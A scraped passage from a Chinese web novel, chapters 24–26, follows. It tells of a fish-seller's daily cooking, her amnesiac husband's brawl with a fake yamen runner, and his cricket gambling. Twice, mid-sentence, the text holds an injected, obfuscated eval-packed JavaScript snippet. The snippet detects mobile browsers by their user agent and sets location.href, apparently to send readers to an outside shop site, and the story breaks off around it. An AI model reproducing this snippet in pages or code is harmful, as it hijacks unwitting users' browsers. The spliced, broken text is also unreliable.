做这鱼醢，需先将鱼肉制成干肉，而后切碎，加入梁米制作的酒曲与盐搅拌，再用好酒浸渍密封于坛中，过百日方可食用。[1] 庖厨之事，与诸事皆有异曲同工之妙.同样的步骤与食材，不同的人，用不同的器皿，对于调料比例，处理温度的不同把控，做出来的食物千人千味。 她的，凑巧比别人的鲜香一筹。 除一般的处理步骤外，平安在鱼肉腌制处理上，亦沿用了腊肉的部分处理方法。 待浓盐重物压制渗透血水，她用放凉的茶水清洗鱼肉，如此处理的腌鱼，除了不腥之外，还会比别的鱼多出一股别样的茶香。 正所谓鱼羊凑成鲜，水乡人家，大都食不起羊肉，不过鱼虾却是管饱。 后面入坛浸渍，她另添加了干煸爆香的三味香料与干虾磨粉。 这便是她的鱼醢与别家味道区别所在，香料的醇香与鱼虾的鲜香在坛中完美融合，久经时间沉淀，这才造就这一坛鲜美鱼醢。 无论是烹饪炖炒，还是做打蘸之用，都是一味好料。 今儿虽未等到熟客许娘子，但仰仗多年诚信经营，平安的鱼也不算愁卖，平安数了数，今日一共收一百八十二文。 只是家中存货几近售罄，她又得去码头进货。 想起还有数日的禁渔期，她便有些心生疲惫。 她好不容易与之前的衙差打好关系，到头来却竹篮打水一场空。 晚上归家，平安将这事与木头随口提及。 “这事好办，娘子，明日我便随你去档口，等鱼卖完，咱们一起去进货。”木头转头拉住她的手，语气真挚地凝视平安。 平安被他目中的灼热烫得不自在地移开视线。 “娘子？”木头挥手试探。 “嗯？” 平安回神，轻抚他光滑面庞，略一思索，便颔首同意。 “只是你得答应我，得老老实实，勿要惹事。”这也是个脾气大的，万一出了事，她真没法收场。 木头只差拍着胸脯自证：“娘子你且放心，我是去照顾你的，不会惹事。” 敲他自信至极的模样，平安将那句但愿咽下喉间。 次日清早，平安拍了拍昏睡的木头。 “起来了。” “唔。”木头打了个哈欠，慢悠悠坐起身。 平安这才摸黑起床点灯。 听得房门咯吱一声吟响，正在院中侍弄菜地的胡水生回头朝两人望去。 “安安，醒来了。水烧开了，今儿早上吃汤饼。” “好，爷爷，我去打汤。” 玉溪镇上来往客商繁多，其中不乏北地游商，也因此带动了玉溪镇的汤饼生意，养活了镇上好几家汤饼作坊，衍生出宽细扁圆数种汤饼。有那更为雅致的，则用模具将汤饼拓成梅花、芙蓉等各种形状，一时间很受文人雅士欢迎。 这汤饼只需水沸下锅，静待片刻便可熟透食用。 平安从鸡窝捡来三个鸡蛋，敲锅入猪油煎制。 很快，金黄的鸡蛋便在热油的炙烙下迅速定型，中间的蛋黄金灿灿，颤巍巍，散发着鸡蛋被煎炙独有的焦香。 待四周的蛋白则泛起焦黄的虎皮花纹，平安轻轻一颠，三个鸡蛋便在空中翻了个面，随即稳稳落下。 待鸡蛋煎得边缘焦黄微翘，两面呈虎皮状，下入热水开始炖煮，炖至汤底奶白方算成功。 “好香啊，娘子。” 木头神不知鬼不觉从身后探了出来。 平安拍开他作乱的手，将三碗鸡蛋面盛好。 在寒湿的季节平安喜欢吃些辛辣食物驱寒，她往自己碗里添上一勺秘制茱萸辣酱，再倒上些香醋。不多时，红色的辣酱便在汤水中迅速晕染出颗颗分明的红色油珠，热气腾腾的鸡蛋汤饼新鲜出炉。 细如银丝的汤饼规整地摆在奶白的汤汁中间，上面卧有一个洒满葱花芫荽的金黄煎蛋，再配上几颗红彤彤的枸杞，或是些许辣酱，不禁让人食指大动。 轻轻一嗦，柔韧劲道的汤饼便入了口，这汤饼浸泡在酸辣咸香的汤底里面，早已浸泡入味。一口下去，汤饼裹携着浓郁鲜香的汤汁一同入腹，瞬间抚慰三人饥饿整晚的肠胃。 一家人埋头吃面，不过几筷，一碗面很快见底，那汤自然也一滴不剩进了肚中。 胡水生嘱咐了两人几句，照例提着油灯送两人出门，待平安朝他挥手，他方佝偻着背影转身。 木头今日想来心情上好，一上船便主动请缨划桨。 载着一船鱼与两个成人，船吃水略深，即使是顺流而下，平安瞧着，他也累出了汗来。 不禁用，她闷声暗笑，起身取出干净的帕子替他擦汗。 “娘子，你对我可真好。”木头停下手中动作，转身笑得灿烂。 傻子，给他擦个汗就是对他好了吗？平安轻笑一声，替他理了理歪斜的衣襟，转身去后边掌舵。 两人相携至档口， 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虽然他不会杀鱼，但是热情招呼客人、收钱，打扫这些杂务，他做起来很是积极。 “哟，胡娘子这夫君倒是个勤快的。”对门的方娘子捏着一把炒熟的黄豆，笑着调侃。 “是还不错。”平安埋头整理手上的活计，矜持评价，并未察觉角落那郎君悄然腾起红晕的耳尖。 夫妻俩守店半日共卖得鱼十六条，得银钱两百三十二文，刨除成本、租金，他们也就将将赚个几十文的辛苦费。 不过平安也已知足，普通农家大多数时候都在地里刨食，所得不过解决温饱。就是村里的青壮劳力去外面做泥瓦之类的苦工，每日所得也不过四五十文。 比起他们，平安觉得自己赚钱还算容易。 再熬几日，禁渔期就要过了。 两人整理完档口的物什，与左右邻舍微笑招呼过后，便带着干粮朝大河赶去。 大河水面宽广，风急浪高，木头划桨的动作显然比之前更费劲。 见前路笔直宽阔，平安在后头掌舵半晌后，弯腰朝前边走去。 “夫君，休息一会，我来吧？” 木头面色通红，却仍倔强摇头。 平安劝着劝着，就发现他眼泪哗啦流了下来。她心虚问道，“怎，怎么了？”她今日可没欺负他。 她温柔地用指腹替他拭去滚落的泪珠，眼泪的温度不高，温温热热，浸染指尖的速度却极快，她只觉有股电流从指腹飞窜至心口，灼得心尖微颤。 都说男儿有泪不轻弹，她亦少见男子流泪，这会面对木头如此作态，不由也心下发慌起来。 木头转过身来，哑声道：“我从不知娘子每日劳作这样辛苦。” “我，我身为男子，却待在家中无所事事。我......” 平安心中暗松一口气，指尖点住他的嘴唇，温声安抚：“夫君不必自责，我正愁爷爷年纪上来无人照看。你在家中帮爷爷干活，砍柴挑水打理庄稼，也很辛苦。” 木头没有回答，只是垂眸摇摇头。 良久，他低声喃喃一句：“我会让你过上好日子。”却转瞬被狂风吹散。 耳边狂风呼呼刮过，平安看着他嘴唇嗫喏，只当他也是性情中人，尚未缓过神来，也便未曾留意。 夫妻俩具都容貌绮丽，气度出众，纵使两人皆身着麻布旧衣。刚相携踏上岸边，便引得行人纷纷侧目。 这会码头人烟渐散，那麻子脸衙差第一眼便瞧见人群中的平安。 见她过来，那张臭嘴不免又习惯性吐出几句让人生厌的话：“哟，几日不见，小娘子模样愈发娇媚，可让我想得慌。” 平安尚未出声，身边的木头便揽住她的腰，将她护在身后：“想你大爷我了，长成这样，莫不是有人以为我娘子会看上丑八怪吧？” 木头此言一出，平安不禁两眼一黑，答应得她好好的，这会怎生又反悔了。 24. 杀鱼的第二十四天 “你这贱民，竟敢骂你爷爷？”麻子脸自觉高人一等，又看两人衣着朴素，想来容易拿捏，是以当下不再收敛心中怒气，大力将手中烟杆砸向鱼桶，起身便朝木头扑来。 以平安之前对木头的了解，这人之前估计也是个混不吝的，又岂会惯着他。 果不其然，不过一息，两人便在扑打在一块。 平安欲上前阻挡，却被木头低声呵斥。 那麻子脸一边抵挡木头的攻击，一边厉声叫嚣：“人呢，都死哪里去了，还不赶紧把这个贱民给我推开。” 平安发现，木头这人有些小聪明，他打人拳拳到肉，全是攻向那外人看不见的软肉。 看他呼救兵，木头观望四周，嘴上亦不饶人：“来人啊，官差欺负老百姓了，苍天啊，青天大老爷快来救救我们这普通老百姓啊。” “救命啊，官差要打人了！” 平安见状，亦随他大声喊冤，又作拉架状上前替他抵挡攻击。事到如今，她与木头早成一根绳上的蚂蚱，她这时若告罪求饶反会让两人深陷泥潭，还不如一条路走到黑。 再则，四周其他衙差的反应很是微妙。 明明离得不远，却偏偏放任两人将事情闹大。 “夫君，你没事吧夫君。” 眼见四周的人朝此处围拢，木头忙收敛攻势，作防御不敌状连连哀嚎。 其他值守的衙差也赶忙上前分开二人。 那麻子脸骂骂咧咧被同僚拖开，看木头躺在地上止不住地哀叹呻吟，他眼神阴郁，伸出右脚仍欲再踢他一脚。 那眼神，看得平安有些心慌。 她心中开始后悔，今日带他来，实在是有些冲动。 他们毕竟只是小老百姓，在这些人眼里，怕是与随手捏死的蚂蚁无异。 明明，明明只要她忍一忍就可以的。 平安望了眼傻乎乎搓手的木头，沉默着轻叹一口气，上前牵住他的手。 一场闹剧在双方各退一步的敷衍下很快散场，饶是木头自称被打，但其他衙差仍旧让两人赔了一百文才将此事了结。 码头依旧人来人往，在漫天的鱼腥味中，买鱼卖鱼的贸易进行得不亦乐乎。 待两人远离码头，木头望了前方碧波缥缈的水面，又瞟了眼面无表情的娘子，小心翼翼扯起话头。 “娘子，可是生气了？” 生气，倒是不至于。 平安早看不惯那个死色胚，木头今儿干的事，正是她想做好久的事，她更是恨不得亲自上手，狠狠揍他一顿解气。 她若是一个人，那她无所畏惧，只是她身后还有爷爷，她怕那人报复，更怕爷爷受到牵连。 对于木头，她只恨自己不知道他竟也是这么个暴躁性子，往后还不知道要惹多少祸端。 半晌，平安幽幽叹出一口气：“夫君，咱们只是普通百姓，跟衙差正面冲突无异于以卵击石。” 看她忧心这个，木头放下手中的桨，拉着平安安抚道：“第一眼我就看不惯那怂蛋，丑成那个熊样，还敢占你便宜，迟早有天小爷要让他好看。” “小爷小爷，你别忘了你答应了我什么？”看他这时候仍三两句不提逞勇斗殴，平安无奈点了点他心口。 说起这个，木头确有三分心虚，他摸了摸鼻子，低声解释：“我知我不该冲动，可是我看不得别人欺负你。” 平安瞬间哑口无言，这人实在太过精怪。 看她沉默，木头连忙安慰：“娘子你莫担心。” “你叫我如何不担心？”平安睨了眼他额角的淤青，低声轻叹。 木头看自家娘子面带嗔怪，神情不似生怒，便也放下心中莫明腾起的怯意，朗声解释：“我朝选官任吏，皆须经身言书判，那人虽做着衙差的活计，可他满面麻子，贼眉鼠眼，这等面容有碍之人，岂能通过官府筛选。况且他今日所穿衣制看似是衙差官服，可衣鞋袖衫皆形似而神不似。我观他衣领袖口花纹为多宝纹，而其他衙差的则是暗纹提花祥云纹。他脚上靴子看着是新，但一无鞋尖翘角、二无官府印记，显然非官靴制式。” 他顿了顿，继续推测：“怕只是哪里来顶当的裙边亲戚，为了糊弄咱百姓拼凑出一身山寨货。” “虽然得罪了他，但他并非正经衙差，咱们不必惶恐。” 听闻此言，平安瞬觉拨云见日，迷消雾散，难怪之前那衙差不见了踪影，今日那些衙差又皆坐山观虎，放任此事发生。木头的猜测虽然大胆，但也不失道理。 但他好端端的，如何突然对官制之事如此清楚？ 平日里总喜欢装痴卖傻的憨瓜，陡然正经起来，她着实有些不适应。 她搓了搓他的俊脸，试探道：“夫君竟这般博学多才，倒是让我开了眼界。可是想起什么来了？” 木头脊背微僵，随即很快便恢复自然，他耸了耸肩，咧嘴笑应：“没有。我就想每日与娘子在一起，这样的日子很快活。” 看他转移话题，平安决定还是将事情与他说清：“可是说不定你家里人正在寻你，你失踪多日，他们总会担忧你的安危。你若是回家，起码吃穿不愁，何必与我挤在一起过苦日子。” “什么回家不回家，我想不起来，我就要和你挤在一起，你别想丢下我。”说罢，他竟暗哼一声，转身不再搭理平安。 这人还真会倒打一耙，她还没与他计较那一百文的医药费呢。 哎，相处多日，她怎总是那样轻而易举地原谅他。 谁叫他长了张好脸呢？ 罢了罢了，平安的目光在他脸上驻留片刻，嘴角慢慢抿直。 那人就算不是正经衙差，他上头总归有人，只能以后再多花点心思与银钱打点一下，拜拜码头。 两人约好回家不再提及此事让爷爷担心，便又没心没肺带着鱼嘻嘻哈哈回了家。 见两人带笑而归，守在门口的胡水生腾地站起身来，心中暗松一口气。 今儿的鱼没之前那样新鲜，不知那些人在什么时候掺了几条怏鱼进去。 等回到家，一条鲫鱼已经翻了白。 这会正是春日里的回南天，潮湿得很，不是做鱼醢的好时机。 平安早上出门前泡了些糯米，想拍些甜酒喝。路过米缸，她便顺舀上几两早稻米与石灰，放一排泡着，打算晚上回来吃个米豆腐。 只可惜人算不如天算，平安吩咐木头将泡米水倒潲水桶，再将米磨成米浆。 她则三两下将鱼剖了，把鱼鳞鱼鳃与内脏处理干净，划上花刀。再往鲫鱼里外抹上一层薄盐，腹内塞进几片生姜与几根葱段。 刚咽气的鱼还算得上新鲜，肉质亦红润紧实，用来熬汤没甚问题。 热锅热油，沿锅壁下鲫鱼，油锅顿时冒出滋滋青烟，油珠四溅，银灰的鱼皮很快在热油的炸制下蜷曲缩水，直至变得金黄酥脆。 此时，一股酥鱼的焦香味亦幽幽袭来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162789|149090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这会的鱼皮与鱼肉已炸得浑然一体，平安提起锅铲轻轻一翻，鲫鱼便顺顺当当翻了个身。 不多时，鲫鱼已被煎得两面金黄。 最近多食辛辣，考虑到爷爷与木头，平安还是决意做一碗暖胃清淡的鱼汤。 清水下锅，水面瞬间浮起颗颗油珠。 随着灶内温度渐升，锅中汤水发出汩汩沸响，鱼身亦随热气在锅中上下翻涌。 雪白的汁气逐渐析出，与油脂融为一体。 下盐调味，撒上小撮葱花调色，一锅奶白醇厚的鲫鱼汤便新鲜出炉。 这样做出的鱼汤，咸、鲜、醇，香，汤水与鱼肉皆滋味得宜。 既有了鱼肉做荤菜，剩下几道菜，也就好安排。 “娘子，米浆磨好了。” 平安正欲炒蔬菜，木头便端着一盆米浆急急忙忙进了门。 这磨好的米浆洁白细腻，放不得多长时间。 平安想了想，便将锅洗净，倒入米浆与澄清的石灰水开始搅拌。 搅拌这米豆腐，一来得小火慢煨，二来手上动作不可停。 待搅至粘稠，将锅铲提起，若锅铲边缘滑落呈倒旗状弯钩便可出锅。 本来今日若回得早，晚上还可以等这米豆腐冷却，吃上一顿，现在看这日头，只能等明日了。 将米豆腐盛出等待冷却，平安烫上一把她爷掐的嫩元修菜，从坛中夹上几根辣萝卜，又炒上一把焯制的辣芥，农家的粗茶淡饭便已备齐。 一家人搬凳的搬凳，端饭的端饭，很快便又聚拢在饭桌前。 前段时日成亲，她爷觉得木头两字太过敷衍，听平安说是随着榆木船舵一同捞上的，他择妻子那边的杨姓，给他编了个杨榆明的名字。 此后他私下里便唤他大名：“榆明，今日出去可还适应？” 木头刚摸上被那麻子脸揍伤的胳膊，便被平安扯了衣角。 “适应得很好，爷爷，您放心，成了家，我会想办法多赚些钱养家的。” “嗯。慢慢来，不着急。” 胡水生也不是多话之人，除了叮嘱两人几句在外小心谨慎，便不再言语。 倒是木头，吃饭也堵不住他的嘴，吃到这肉甜质嫩的鲫鱼，他便夸上一句：“娘子做的鲫鱼这样鲜美，能尝到真是我的福气。” 今日的鲫鱼汤的确鲜香，姜片与葱段是上好的去腥增香搭档，清淡的做法亦还原了鲫鱼本身的鲜甜与细嫩。 因着汤水的滋润，汤中的鲫鱼依旧肉质鲜嫩，戳上一筷，里面的鱼肉白嫩细腻，形如蒜瓣，平安细品之下，口中依稀有清甜的回甘。 等吃到那芽细肉丰的元修菜，木头又连连奉承胡水生：“爷爷，您种的这青菜嫩生生的，可真好吃。” 胡水生便会回上一句：“这是豆荚顶尖新生出的藤蔓芽尖，当然嫩。” 这样的场景几乎每日都会上演，平安早已习惯，只管埋头扒饭。 胡水生最近也攒下一些竹编，几人决意明日带上几个簸箕撮箕去镇上售卖，就各自散去。 几场淅淅沥沥的春雨过后，菜畦中细嫩的绿芽陆续伸展腰肢，撒下的种子争先恐后地破土而出。平安走到菜地里弯腰查看，除了新翻的那块土，其余几块地里已长满了嫩生生的蔬菜。 检查完她的糯米，平安刚进房就被木头拉住，她低头睨了一眼，再对上他闪烁的目光，心里自是明白他脑中在想什么废料。 25. 杀鱼的第二十五天 不过想到两人关系，平安并未制止，木头看她并未拒绝，心知今日有戏，满脸喜色地推搡平安进门。 平安刚走没几步，就听得身后传来咔哒的落锁声。 “娘子。”木头从身后揽住平安，头埋在她脖颈间摩挲，意图显而易见。 平安发现，自己这位夫君，虽然娇弱无力了些，但勉强有一副高大身架。 她在女子中已算得上身姿高挑，这会却可被他结结实实搂在怀中。 成年男子炽热的体温与侵略十足的气息霎时将她笼罩其中，平安想要挣脱，却被他缚得更紧。 温热的呼吸喷洒在耳畔，平安霎时汗毛直立，脊背发僵。可在这阵让人有些无所适从的亲密氛围中，她可耻地察觉一股异样的酥麻从后背攀升。 这种事情，谈不上谁吃亏，平安握紧他的手，在他指节处轻轻摩挲。 许是察觉平安的主动，他今日格外兴奋。平安只觉一阵又一阵热浪袭来，直将她昏沉的大脑烧得五迷三道，不知今夕何夕。 “娘子~~”他微喘着在她耳畔低语，许是让他得了好，他的语气愈发讨好，望向她的眼神湿润又乖巧。 朦胧中，平安竟产生一种他眼里都是她的错觉。 倏地，她转念一想，可不是都是她，离得这么近，眼里要是有别人那只能是见了鬼。 从木头见她的第一眼，她便知道，他看上了她这张脸。 那样惊艳、痴迷的目光，她在很多人脸上都看到过。 至于感情，她想，何必谈那样复杂的东西。 他爱她这张脸，她需要他来生孩子。 两人各取所需，互相依赖，也慢慢能将日子过好。 若有朝一日，他恢复记忆要离开，那她也会放他自由。 他们的关系，就是这样简单。 分神间，四周的动静愈发喧闹，待他尽兴之后，亲密地依偎在她身侧，拉着她的发丝把.玩。 平安忍耐半晌，终还是掀开被褥，将自己清理一番。 谁知这人又巴巴跟了上来，挨着她坐在桌前。 “娘子，下次这样的粗活你唤我便是。” 平安扭头睨他一眼，对上他满面春风的笑脸，只得扯出一抹假笑，将视线移至桌面。 上面，正摆放着两人今日所得铜钱。 他们今日批了一百多斤的鱼，成本花了四百多，这笔钱是另账支出，只待月底平安再统一核算。至于那赔偿的一百文，只当今日倒霉花钱消灾。 木头这会清醒过来，也兴致勃勃地数起了钱奁里的铜钱。 “一、二、三、四、五.....” “两百三十二文。” 数到最后，他的声音愈发低落。 “怎么了？”平安搭住他的肩，好奇问道。 “娘子。”木头转身拉住她的手，垂眸摩挲着她手上的粗茧。 “我会好好挣钱的，我不想你这样辛苦。”想到那一百文赔款，木头终究有些心虚，但心中的傲气却让他羞于认错，只得想办法在别处找补回来。 男人的话，平安心中不大信，床上说的话，就更不可信。 但面上的功夫，她一向做得足，是以美目霎时泪光涟涟，语带感动：“你有这份心我就很开心了。” 心下却是哀叹，他这四体不勤五谷不分的纨绔样，要去哪里赚钱呢？ “穷家富路，你身上带些钱也好周转。”平安取来二十文递给木头，他却未收。 “娘子，你别不信我。”木头神色委屈，那双勾人的眸子这会也随他嘴角一块下耷，看着愈发可怜了。 “我信，咱们是夫妻，自然要互相信任。”平安温柔地摸了摸他脑袋，唔，没有灰灰和小白的毛好摸。 “我一定会努力赚钱，咱们到时候去镇上买房子，再给你买几个丫鬟伺候。” “好。”平安和颜悦色，补充道，“也把家中房子重建扩张，建几幢高梁大瓦青砖屋。” 见平安言语间尽是附和，木头心中的惆怅消散一空，抱着平安连连许下诺言。 平安只当昨夜夫妻夜话只是温存过后的激情所致，没成想次日木头竟破天荒比她还起得早。 平安看见他时，他正站在扁担旁边，扁担两端则连着箩筐，筐里系着爷爷编好的斗笠簸箕竹篮这类的竹制品。 瞧着他小心翼翼护着一个小竹罐，平安好奇凑过身去，就见木头轻手轻脚将竹罐放好，食指比在唇间劝道：“嘘！别吓着我的红面银枪大将军。” “什么？”平安讶异。 “促织呀，这一只须长爪利，模样威武，声音低沉，斗起来肯定威猛，我可寻了好久才寻到。” 平安听他说起斗促织头头是道，下意识便怀疑这人到底是真失忆还是假失忆，连带着看他的目光都带着几分一言难尽的打量。 若是假，希望他装久点。 若是真，看来这真是一个不学无术的纨绔，家人名字都忘记了，却没忘记吃喝玩乐的邪门歪道。 但他既斗志昂扬，她也不好打破。 只是两人今日都要出门，家中就得辛苦爷爷多加照看。 昨日米饭还剩下些许，却无剩菜可下饭。 幸好昨日的米豆腐已经放凉，平安将米豆腐分成两半，一半早上打汤喝，一半则留给爷爷。 放凉的米豆腐已经凝固成光滑的一团，瞧着色泽米黄，摸上去更是光滑细腻，轻轻一抖，颤巍巍，弹糯糯。 今儿早上，就做米豆腐酸菜汤与碎金饭。 米豆腐切成丁，自家腌制的干酸菜切成丝，锅中放油盐打汤，待汤沸腾，下入米豆腐与酸菜一同炖煮。 等豆腐心热透，酸菜亦与这锅汤完美融合，散发出幽幽酸香。最后再滴入几滴酱油调色，一碗热乎乎，酸香软糯的米豆腐汤便可出锅。 碎金饭这名虽雅致，实则就是鸡蛋炒饭，它的炒制十分简单，只需备好葱花，鸡蛋与隔夜的剩饭，便可起锅开炒。 一道简单炒饭，却千人千味，不同的下锅顺序，不同的火候与调料配比，造就了它的迥异风味。 做蛋炒饭，平安喜欢用放凉的米饭，这样的米饭颗颗分明，又不粘腻粘锅。 他们本地生产的稻米，细长雪白，颗粒饱满，吃起来米香浓郁，齿颊回甘。 便是剩饭用来做蛋炒饭，那味道炒出来也是别处没有的香甜滋味。 热锅凉油，下入鸡蛋快速搅散翻拌均匀，待鸡蛋搅拌成细碎蓬松的蛋沫，倒入米饭迅速翻炒。 不多时，米饭在锅中散开，尚未完全定型的鸡蛋均匀地裹挟至米饭上。 下入少许盐调底味，再加一勺酱油微微上色，轻轻一颠，粒粒分明的蛋炒饭便在空中划出一道流畅的弧线，而后稳稳落在锅中。 热烫的米粒在空中遇冷，霎时弥漫出一片滚烫热雾，顷刻间再度回落至炽热的铁锅上，顿时发出阵阵滋滋声响。 一冷一热，米饭在接连的冷热刺激之下热胀冷缩，形成劲道韧性的独特口感。几度颠锅，所有米饭早已被拨弄均匀，如此一来，每颗米饭都可受热均匀，味道匀和。 趁此机会，平安撒入葱花继续颠锅，翠绿的葱花迅速与金黄的饭粒混合均匀。 香葱碎末自带的天然荤香为这炒饭平添三分鲜味与底味，这锅蛋炒饭的风味在此刻得到升华。 吃的时候， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看着小两口在饭桌上眉来眼去，胡水生笑得合不拢嘴，他让两人只管出门，碗筷他来洗。 平安未应答，只是睨了木头一眼，他迅速接过话头：“爷爷，您就只管歇息，我来洗，洗个碗费不了多少时间。”说罢便转身去灶房打温水。 胡水生虽嘴上时常敲打平安让她对榆明好些，可看孙婿这样知趣，心中自然也为孙女高兴。 平安将桌上清理干净，开始搅拌鸡鸭要吃的米糠。 她爷说最近捡到了软壳蛋，营养不够，这才舍得让她今日拿些米糠给它们加餐。 这米糠，许多穷苦的人家都是拿着和主食一块煮，虽没什么味道，口感也粗糙，但有饱腹这一作用就足矣。 他们家除了种田外，也另外有两门生计，日子在村中不算最差，用这米糠喂养鸡鸭倒不至于过分心疼。 瞧着喂养鸭子的浮萍所剩无几，平安提了个桶，打算来回路上顺带捞上一些。 待两人赶到档口，四周的邻里早已陆续开门营业。 见木头跟了来，方娘子等人的戏谑声此起彼伏，平安听得耳朵都快生茧，面上只作憨笑谦辞。 可偏偏木头这人是个不知羞的。 见众人夸赞夫妻俩感情好，他倚在门口笑应：“我与我家娘子新婚燕尔，感情当然好。” 木头本就长得人模狗样，一张小白脸曾迷倒村中万千少女，这会装模作样，做足一副翩翩有礼的文雅模样，倒引得档口的邻里们高看他三分，直呼杨郎君是个素有修养的。 只可惜，他不消三句话便可暴露草包本性。 见众人提及平安，他亦兴致盎然插话：“我家娘子模样俏丽，外边不知有多少野男人觊觎，我恨不得将她拖在家中，日日...唔。” 26. 杀鱼的第二十六天 平安听得面红耳赤，赶忙上前捂住那张臭嘴。 他接下来的话虽未说完，但是在场之人多是年长前辈，众人怎会不明白他话中的未尽之意，顿时揶揄地打量着两人，哈哈大笑起来。 方娘子见平安美目凝睇，满脸含羞带嗔，扬起手中帕子咯咯笑个不停：“胡平安啊，胡平安，你也有今日，啊？” “平日里跟我们聊起这事不是脸不红心不跳，满嘴虎狼之言，怎么，今日落到自己身上，就害羞了，嗯哼？” 她尾音上扬，目中的调笑之意不言而喻。 平安眼见自己双拳难敌众手，偏偏身边还有个尽帮倒忙的猪队友，她上前一步，靠近木头，伸手狠狠往他腰上软肉揪去。 叫他嘴上不把门。 正侃侃而谈的木头瞳孔猛缩，随即扯出一抹比哭还难看的笑容。 “好娘子，好娘子，我还有活没干，我这就出门。” “去吧。”将担子与木头一同推出档口，平安方回门与大家聊天。 待有客上门，众人一窝蜂散去。 “胡小娘子，来条鲫鱼。” “好呢，来啦。”平安调整心绪，笑吟吟应道。 “今儿我做红烧鲫鱼，给我将鱼剖了，再给我拿点紫苏。” “好。”平安从桶中取出一尾一斤有余的银白鲫鱼，给王婶看过满意，她方将鱼敲晕上称称重。 “一斤三两四钱，八文一斤，抹个零，便算您十文。” 王婶点点头，待平安将鱼开膛剖腹清理干净，这才从荷包里慢悠悠挑出十枚铜钱。 “紫苏我拿走了。” 说罢，不待平安回答，她大手一薅，将案板边的几颗紫苏全部带走。 “好呢，您慢走！”迎着方娘子戏谑的目光，平安转身从后面的桶里又掏出几根紫苏重新铺在案板边。 这东西在镇上城里都得花个两三文去买，可在农家，只要有块荒地长过，隔年便能发出一大片。 能拿紫苏引客，平安甘之如饴，不觉吃亏。 等客的间隙，平安坐在凳上开始算最近的收支。 虽未出财礼，但她爷大办婚宴，花掉四贯多积蓄，收得两贯半的礼金，后面又还了三贯的债，再加之又给木头添置了一些衣物和器皿，她现在手上可供周转的现钱不足三贯。 别说建新房装缮入住，便是只买些青砖建个偏房都捉襟见肘。 禁渔期一过，又得服徭役，家中收入又得停滞一段时日。 保守起见，禁渔期内，她每日带出来的鱼皆有定量。除非能在小溪与池塘里多捞上几尾鱼补贴成本，不然每日的利润都不过百文。 若是运气不好，碰上鱼儿翻肚或其他损耗，那鱼贱卖不出便只能自己消耗，每日损失少则十几文，多则几十文，别说赚钱，刨除本钱几近白干。 按这样的速度，攒满五十贯遥遥无期。 不行，越想平安就越焦虑，从现在开始，她要勤俭节约，努力赚钱，努力攒钱。 随着饭点将近，陆陆续续又卖掉一些鱼。 想着木头久久未归，平安担心他在镇上遇着了什么事，她拜托方娘子她们帮她看着档口，这才洗净手匆匆往街上赶去。 她沿着几条街道寻了半晌，始终不见木头人影。 待来到正街，见得这里人声鼎沸，许多人正三三俩俩围聚一块高声叫唤。 “打它，打它，打它！” “我的金面大将军，上啊！” “快！快快快！” 想到木头昨日寻的那促织罐，平安心头不禁涌现不祥预感。 她轻声走近，果然看见木头提着背篓挤在人群之中，正兴高采烈地喊那庄家分钱。 平安瞧着，他那背篓里的竹具倒是满的，只少了那个促织罐。 “还斗不斗？”庄家掂着手中的钱笑问。 “斗。”木头陡然抬头，却瞧见自家娘子正两手交握，似笑非笑地站在远处，口中未尽之言瞬间戛然而止。 虽自家娘子未发一言，在两人四目相对这一刻，木头却不知为何，心中莫名发虚。明明娘子待他一向有礼又熨帖，这会他后背竟冷汗涔涔，让他方才还激动的神思霎时归拢三分。 他咽了咽口水，又瞅了眼一旁等他回复的庄家。 这才清了清嗓，挺起胸膛讪笑道：“斗，斗什么斗，改日再说。”说罢，动作利索地拿走捞起促织与银钱，这才慢慢挪至平安跟前。 见得平安，他喜气洋洋，方欲开口搭话，平安便淡淡勾起唇角，笑问：“你的担子去哪了？” 木头这才回过神来，将手中小小银块塞进平安手中，提着竹篓低头去人群中将沾满泥灰的扁担寻来。 一路上，木头表现得坦坦荡荡，还拿着那块碎银子与平安请功。 平安心下讥诮，这男人前脚说要脚踏实地与她过日子，后脚便开始眼高手低，妄走捷径，果真是个不靠谱的。 不过，就算是棵歪脖子树，她也得给他扭直了。 平安散开左手，手中捏碎的石头霎时化为齑粉，白色的粉尘如同一阵轻雾，飘飘渺渺随风掩入尘土之中。 夸了自己半晌好，见娘子只是轻飘飘道了个好，木头这才期期艾艾拉住她衣袖。 “好娘子，今日竹编生意是差了些，不过你放心，我寻这促织，自有一番本领，总能赚得几个银钱养你。” 看平安沉默不语，他又接着解释：“本来我是想要卖了它的，可找不到卖家，那庄家便引诱我斗一斗。” “若是寻不到那日呢？”平安不理会他的狡辩，扭头反问。 “那，生意总有好有坏。” “若是输了呢？” “不可能。”木头信誓旦旦，满腔自信。 平安深吸一口气，努力克制想要揍人的欲望：“我虽读的书不多，但也知做人做事皆需脚踏实地，这促织生意是可得来偏财，可不过是饮鸩止渴。杨榆明，你昨晚还说要好好与我过日子，就是要过这种朝不保夕的日子吗？” “你，你别急啊娘子，这不才刚开始嘛，再说，这活确实比竹编来钱快，这竹编不也是只能卖个春夏吗？”木头见她开始唤自己名字，心中隐约明白，怕是她有些不悦，连忙拉低声音开始解释。 平安只是静静凝视着他，到现在，这人还在觉得自己是因他赚不到钱而轻视他。 “大，大不了，我拿竹编当主业，这个有时间再去玩玩，娘子，你相信我。”他戳了戳平安手中那块银块，嘻嘻哈哈同她撒娇。 看他这会依旧迷而不返，平安的语气冷了下来，她挣脱木头的手掌，快步往前走。 早知他是个吃不惯苦的娇贵郎君，平安心中其实并无失落，之前他能说出养家的话来，那才是意外。 他这嬉皮笑脸的模样，哪里有认识到自己的错误？每每犯错，他都是靠着甜言蜜语意图混过。今日她必要他得个教训才好，不然，这调教之路任重道远。 方娘子说的对，有时候面对男人犯错，武力并不是最佳且唯一的解决方式。 